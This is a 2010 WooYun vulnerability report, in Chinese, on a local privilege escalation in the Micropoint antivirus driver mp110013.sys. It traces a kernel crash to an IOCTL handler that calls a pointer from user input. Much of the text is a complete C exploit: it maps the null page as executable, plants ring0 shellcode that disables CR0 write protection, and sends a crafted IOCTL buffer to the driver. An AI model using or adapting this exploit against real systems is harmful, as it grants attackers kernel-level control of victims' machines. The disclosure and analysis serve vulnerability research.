漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2010-045
漏洞标题:东方微点主动防御 <= 1.2.10581.0278 Mp110013.sys 本地特权提升漏洞
相关厂商:东方微点
漏洞作者: shineast
提交时间:2010-07-19 15:05
修复时间:2010-07-19 15:05
公开时间:2010-07-19 15:05
漏洞类型:权限提升
危害等级:中
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2010-07-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2010-07-19: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
该漏洞是我2010年4月7日晚上,通过自己的IoControl Fuzz工具挖掘的。漏洞存在于东方微点mp110013.sys这个驱动中,影响东方微点主动防御软件1.2.10581.0278和以前的版本。利用该漏洞能够实现本地特权提升,进Ring0。
详细说明:
UNEXPECTED_KERNEL_MODE_TRAP (7f)
This means a trap occurred in kernel mode, and it's a trap of a kind
that the kernel isn't allowed to have/catch (bound trap) or that
is always instant death (double fault). The first number in the
bugcheck params is the number of the trap (8 = double fault, etc)
Consult an Intel x86 family manual to learn more about what these
traps are. Here is a *portion* of those codes:
If kv shows a taskGate
use .tss on the part before the colon, then kv.
Else if kv shows a trapframe
use .trap on that value
Else
.trap on the appropriate frame will show where the trap was taken
(on x86, this will be the ebp that goes with the procedure KiTrap)
Endif
kb will then show the corrected stack.
Arguments:
Arg1: 00000008, EXCEPTION_DOUBLE_FAULT
Arg2: 80042000
Arg3: 00000000
Arg4: 00000000
Debugging Details:
------------------
BUGCHECK_STR: 0x7f_8
TSS: 00000028 -- (.tss 0x28)
eax=81123880 ebx=81120f80 ecx=2c23f92a edx=8000012c esi=00000000 edi=8113f388
eip=f96a37c0 esp=f7b25000 ebp=f7b278f8 iopl=0 nv up ei ng nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292
mp110013+0x7c0:
f96a37c0 ff30 push dword ptr [eax] ds:0023:81123880=00000937
Resetting default scope
DEFAULT_BUCKET_ID: CODE_CORRUPTION
PROCESS_NAME: MPSVC2.exe
LAST_CONTROL_TRANSFER: from f96a8c06 to f96a37c0
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f7b278f8 f96a8c06 81120f80 80e5ea38 817cf210 mp110013+0x7c0
f7b27ac8 804ef003 81728030 8113f388 806d12d0 mp110013+0x5c06
f7b27ad8 80574e4e 8113f3f8 811ec470 8113f388 nt!IopfCallDriver+0x31
f7b27aec 80575cdd 81728030 8113f388 811ec470 nt!IopSynchronousServiceTail+0x60
f7b27b94 8056e63a 00000508 00000000 00000000 nt!IopXxxControlFile+0x5e7
f7b27bc8 f7363b12 00000508 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f7b27c44 f99b081f 00000508 00000000 00000000 BehaviorMon!HookNtDeviceIoControlFile+0x892
f7b27d34 8053da48 00000508 00000000 00000000 Hookport+0x481f
f7b27d34 7c92eb94 00000508 00000000 00000000 nt!KiFastCallEntry+0xf8
0358f70c 7c92d8ef 7c801671 00000508 00000000 ntdll!KiFastSystemCallRet
0358f710 7c801671 00000508 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0358f770 006281bd 00000508 8000012c 0358f7c4 kernel32!DeviceIoControl+0xdd
0358fed8 003c7b9d 0000022c 0358fefc 0358ff04 mp110034+0x81bd
00000000 00000000 00000000 00000000 00000000 mp110036+0x7b9d
从过分析中的栈回溯,可以看到最终出问题的代码落在mp110013+0x5c06和mp110013+0x7c0所处的函数中。导致崩溃的指令如下:
f96a37c0 ff30 push dword ptr [eax] ds:0023:81123880=00000937
这条指令的寻址都是正常的,eax指向的DWORD是存在,那为什么无法push呢?!除非此时发生了“栈上溢”。这时我们来看看发生崩溃时的esp值,从上面的分析可以看到当时esp值为f7b25000,我们再查这个地址的属性。
kd> !address f7b25000
f7b24000 - 00004000
Usage KernelSpaceUsageKernelStack
KernelStack 80e5e828 : 3d4.82c
可以看出,该地址处于内核栈的顶部,由于系统在栈顶预留了0x1000的空间,因此已经无法再push了。
kd> dd f7b25000-4
f7b24ffc ???????? 00000000 00000000 8113bf1c
f7b2500c 81123ab0 43504354 020a0027 00000000
f7b2501c 00000000 00000000 00000000 00000000
看到了内核崩溃的直接原因后,下面我们需要找到其根本原因。首先我们定位到mp110013+0x5c06所在的函数,如下所示:
.text:00015BE4 loc_15BE4: ; CODE XREF: .text:00015BD7j
.text:00015BE4 push dword ptr [ebp-74h]
.text:00015BE7 push dword ptr [ebp-98h]
.text:00015BED lea eax, [ebp-0E8h]
.text:00015BF3 push eax
.text:00015BF4 push ebx
.text:00015BF5 call sub_1090E
.text:00015BFA mov [ebp-94h], eax
.text:00015C00 push ebx // 输入缓冲区指针
.text:00015C01 call sub_107B0 // 函数调用
.text:00015C06 mov [edi+1Ch], eax
.text:00015C09 cmp [ebp-94h], esi
.text:00015C0F jz short loc_15C1E
.text:00015C11 lea eax, [ebp-0E8h]
.text:00015C17 push eax
.text:00015C18 push ebx
.text:00015C19 call sub_107FE
可以看到,该函数会调用到sub_107B0函数,那么我们再来看看sub_107B0函数的逻辑:
.text:000107B0 sub_107B0 proc near ; CODE XREF: .text:00015C01p
.text:000107B0
.text:000107B0 arg_0 = dword ptr 8 // 输入缓冲区指针
.text:000107B0
.text:000107B0 mov edi, edi
.text:000107B2 push ebp
.text:000107B3 mov ebp, esp
.text:000107B5 mov eax, [ebp+arg_0]
.text:000107B8 add eax, 4
.text:000107BB mov ecx, [eax] // 循环次数 可控
// 是输入缓冲区第二个DWORD
.text:000107BD add eax, 4
.text:000107C0 loc_107C0: ; CODE XREF: sub_107B0+15j
.text:000107C0 push dword ptr [eax] // 栈上溢
.text:000107C2 add eax, 4
.text:000107C5 loop loc_107C0
.text:000107C7 mov eax, [ebp+arg_0]
.text:000107CA call dword ptr [eax] // 调用输入缓冲区
// 第一个DWORD指向的函数
.text:000107CC pop ebp
.text:000107CD retn 4
从上面的代码可以看出,sub_107B0函数整个逻辑都是可以控制的,首先该函数中从输入缓冲区的第二个DWORD中取出要循环的次数,然后做了一个循环,最终调用了输入缓冲区的第一个DWORD所指向的函数。
如果循环的次数太多,会导致栈上溢,但是这个次数我们可以通过输入缓冲区的第二个DWORD来控制,因此我们可以避免栈上溢。我们最为感兴趣的应该是循环后面的一个call指令,调用的是输入缓冲区的第一个DWORD所指向的函数。
通过几次调试可以发现,只要往输入缓冲区的第一个DWORD处放一个错误的值,在派遣例程中会把他修改成0,这样一来,最终调用的就是0这个地址。这是相当危险的,我们只要在0地址处申请内存,并存放Ring0 Shellcode就可以完美的利用这个漏洞。这一点我们可以通过栈回溯来证明,先看看调用sub_107B0函数的参数:
f7b278f8 f96a8c06 81120f80 80e5ea38 817cf210 mp110013+0x7c0
参数是81120f80,我们再来看看这个地址指向的数据,是不是我们输入缓冲区的数据:
kd> dd 81120f80
81120f80 00000000 2c240368 5e9e3918 8e3b184c
81120f90 22d5df8e 961331c8 d5a92216 0aa0f10a
81120fa0 b7e0c5f7 e75bcb05 97beb301 6c48e205
81120fb0 43c9daa0 08b79115 6cead1f5 3fe586fd
81120fc0 00000000 00000000 00000000 00000000
81120fd0 00000000 00000000 00000000 00000000
81120fe0 00000000 00000000 00000000 00000000
81120ff0 00000000 00000000 00000000 00000000
仔细一看,确实和我们之前篡改的输入数据基本一致,不过第一个DWORD被微点的派遣例程修改成了0。这正好如我们所愿,真是太爽了!如果不改成0,也许我们很难利用,而改成0,那就好用多了。总的来说,这是一个本地权限提升内核漏洞。
漏洞证明:
#include "poc.h"
#include "InvbShellCode.h"
#define BUFFER_LENGTH 128
#define IOCTL_MICROPOINT 0x8000012C
void InbvShellCode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
cli
mov eax, cr0
//mov g_uCr0,eax
and eax,0xFFFEFFFF
mov cr0, eax
_emit 0x5d //pop ebp
retn 0x2800 //esp = esp + 0xA00 * 4
}
}
PVOID RtlAllocateMemory(
IN ULONG Length)
{
NTSTATUS NtStatus;
PVOID BaseAddress = NULL;
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);
if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);
return BaseAddress;
}
return NULL;
}
VOID RtlFreeMemory(
IN PVOID BaseAddress)
{
NTSTATUS NtStatus;
ULONG FreeSize = 0;
NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}
int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;
ULONG i;
HANDLE DeviceHandle;
ULONG ReturnLength = 0;
ULONG ImageBase;
PVOID MappedBase;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
PVOID MmUserProbeAddress;
ULONG ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;
UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
LARGE_INTEGER Interval;
char buffer1[1024]={0};
char buffer2[1024]={0};
ULONG InternalBuffer = 0;
char SystemBuffer[BUFFER_LENGTH]=
/*
77 00 04 00 03 00 00 00 20 C5 88 03 3F 00 0F 00
C8 FA 88 03 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
{
// A46
0x7B,0x67,0xB4,0x33, 0x00,0x0A,0x00,0x00, 0x8B,0x68,0xDD,0x6F,0x01,0x52,0x5A,0xB5,
0x28,0x14,0x44,0x89,0x78,0x32,0xEA,0x5F,0x8E,0x75,0x6B,0x22,0x38,0xB1,0xFD,0x46,
0x23,0xDB,0xAC,0xFB,0x1D,0x45,0x8F,0x04,0x73,0xD9,0x24,0x1F,0x8A,0x70,0xA6,0xD7,
0x62,0x7B,0xC2,0x36,0xE7,0xBB,0x3A,0x9D,0x11,0xA8,0xF5,0x84,0x8C,0xCA,0xE3,0xFE,
0x49,0x79,0x26,0x0D,0x61,0x9A,0x8D,0x17,0xBE,0x6E,0x61,0x57,0x78,0x9C,0xA4,0xC2,
0x36,0x22,0x8C,0x56,0x39,0xB8,0x26,0x54,0xF1,0xA0,0x1E,0x78,0x5F,0xD3,0xDF,0x98,
0x35,0x66,0x83,0x55,0xDE,0x14,0x59,0xE2,0x94,0xC4,0xDE,0x31,0xFC,0xF8,0x2F,0x2C,
0x12,0x04,0xD4,0x0A,0xEE,0x0F,0x95,0xE2,0xDC,0xA1,0x3F,0xB8,0x13,0x55,0x83,0xD3
};
//正常输入
// {
// 0x77, 0x00 , 0x04 , 0x00 , 0x03 , 0x00 , 0x00 , 0x00 , 0x20 , 0xC5 , 0x88 , 0x03 , 0x3F , 0x00 , 0x0F , 0x00,
// 0xC8, 0xFA , 0x88 , 0x03
// };
//*(ULONG *)((ULONG)SystemBuffer+8)=(ULONG)buffer1;
//*(ULONG *)((ULONG)SystemBuffer+16)=(ULONG)buffer2;
///////////////////////////////////////////////////////////////////////////////////////////////
system("cls");
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
ModuleInformation = RtlAllocateMemory(ReturnLength);
if(ModuleInformation)
{
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus == STATUS_SUCCESS)
{
ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);
RtlMoveMemory(
ImageName,
(PVOID)(ModuleInformation->Modules[0].ImageName +
ModuleInformation->Modules[0].ModuleNameOffset),
KERNEL_NAME_LENGTH);
printf(" +----------------------------------------------------------------------------+\n"
" | ImageBase - 0x%.8X |\n"
" | ImageName - %s |\n",
ImageBase,
ImageName);
RtlFreeMemory(ModuleInformation);
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
{
printf(" [*] NtStatus of LdrLoadDll - %.8X\n", NtStatus);
return NtStatus;
}
RtlInitAnsiString(&ProcedureName, "HalDispatchTable");
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
if(NtStatus)
{
printf(" [*] NtStatus of LdrGetProcedureAddress - %.8X\n", NtStatus);
return NtStatus;
}
(ULONG)HalDispatchTable -= (ULONG)MappedBase;
(ULONG)HalDispatchTable += ImageBase;
(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);
printf(" | |\n"
" | HalDispatchTable - 0x%.8X |\n"
" | xHalQuerySystemInformation - 0x%.8X |\n"
" +----------------------------------------------------------------------------+\n",
HalDispatchTable,
xHalQuerySystemInformation);
NtStatus = XxInitInbv(ImageBase, (ULONG)MappedBase);
if(NtStatus)
{
printf(" [*] NtStatus of XxInitInbv - %.8X\n", NtStatus);
return NtStatus;
}
LdrUnloadDll((PVOID)MappedBase);
RtlInitUnicodeString(&DeviceName, L"\\Device\\mp110013");
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
if(NtStatus)
{
printf(" [*] NtStatus of NtCreateFile - %.8X\n", NtStatus);
return NtStatus;
}
printf(" [*] NtCreateFile - DeviceHandle = %.8X\n", DeviceHandle);
///////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
{
printf(" [*] NtStatus of NtAllocateVirtualMemory - %.8X\n", NtStatus);
return NtStatus;
}
printf("NtAllocateVirtualMemory ShellCodeAddress = %08X ShellCodeSize=%08X\n", ShellCodeAddress,ShellCodeSize);
RtlMoveMemory(
ShellCodeAddress,
(PVOID)InbvShellCode,
ShellCodeSize);
///////////////////////////////////////////////////////////////////////////////////////////////
NtStatus = NtDeviceIoControlFile(
DeviceHandle,
NULL,
NULL,
NULL,
&IoStatusBlock,
IOCTL_MICROPOINT,
SystemBuffer,
BUFFER_LENGTH,
NULL,
0);
if(NtStatus)
{
printf(" [*] NtStatus of NtDeviceIoControlFile [3] - 0x%.8X\n", NtStatus);
return NtStatus;
}
Interval.LowPart = 0xFF676980;
Interval.HighPart = 0xFFFFFFFF;
printf("\n 3");
NtDelayExecution(FALSE, &Interval);
printf(" 2");
NtDelayExecution(FALSE, &Interval);
printf(" 1");
NtDelayExecution(FALSE, &Interval);
printf(" Hoop\n\n");
NtDelayExecution(FALSE, &Interval);
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus)
{
printf(" [*] NtStatus of NtQueryIntervalProfile - %.8X\n", NtStatus);
return NtStatus;
}
printf("NtQueryIntervalProfile ok!\n");
NtStatus = NtClose(DeviceHandle);
if(NtStatus)
{
printf(" [*] NtStatus of NtClose - %.8X\n", NtStatus);
return NtStatus;
}
printf("NtClose ok!\n");
}
}
}
return FALSE;
}
修复方案:
该漏洞微点已经告知我修复完毕!
版权声明:转载请注明来源 shineast@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:9 (WooYun评价)